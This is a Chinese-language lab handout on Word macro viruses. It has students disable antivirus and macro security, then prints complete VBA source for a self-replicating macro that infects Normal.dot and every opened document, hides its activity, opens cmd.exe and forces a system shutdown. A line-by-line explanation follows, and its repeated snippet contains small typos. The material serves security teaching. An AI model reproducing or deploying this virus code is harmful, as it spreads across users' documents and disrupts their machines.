word宏恶意代码实验

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

计算机宏病毒分析

一、实验目的

⏹了解“宏病毒”机理;

⏹掌握清除宏病毒的方法;

⏹掌握采用“宏”和脚本语言进行编程的技术。

二、实验环境

⏹Windows 7 64位旗舰版

⏹Office Word2010字处理软件。

三、实验要求

⏹宏的编写;

⏹理解宏病毒的作用机制。

四、实验步骤:

1.软件设置

关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。

注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。

2.自我复制功能演示

打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word 文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。

完整代码如下:

'Macro-1:Micro-Virus

Sub Document_Open()

On Error Resume Next

Application.DisplayStatusBar = False

Options.SaveNormalPrompt = False

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

With host

If .Lines(1, 1) <> "'Micro-Virus" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, ourcodemodule.Lines(1, 100)

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = NormalTemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

MsgBox "恭喜你你中毒了"

Shell ("C:\Windows\System32\cmd.exe")

Shell ("C:\Windows\System32\shutdown.exe -s -t 60")

End Sub

以上代码的基本执行流程如下:

1) 进行必要的自我保护:

Application.DisplayStatusBar = False

Options.SaveNormalPrompt = False

高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失

效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。

本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。

2) 得到当前文档的代码对象和公用模板的代码对象:

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

3) 检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名:

With Host

If .Lines(1.1) <> "'Micro-Virus" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, Ourcode

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = nomaltemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActiveDocument.SaveAs ActiveDocument.FullName

End If

End If

End With

4) 执行恶意代码

MsgBox "恭喜你你中毒了"

Shell ("C:\Windows\System32\cmd.exe")

Shell ("C:\Windows\System32\shutdown.exe -s -t 60")

相关文档
最新文档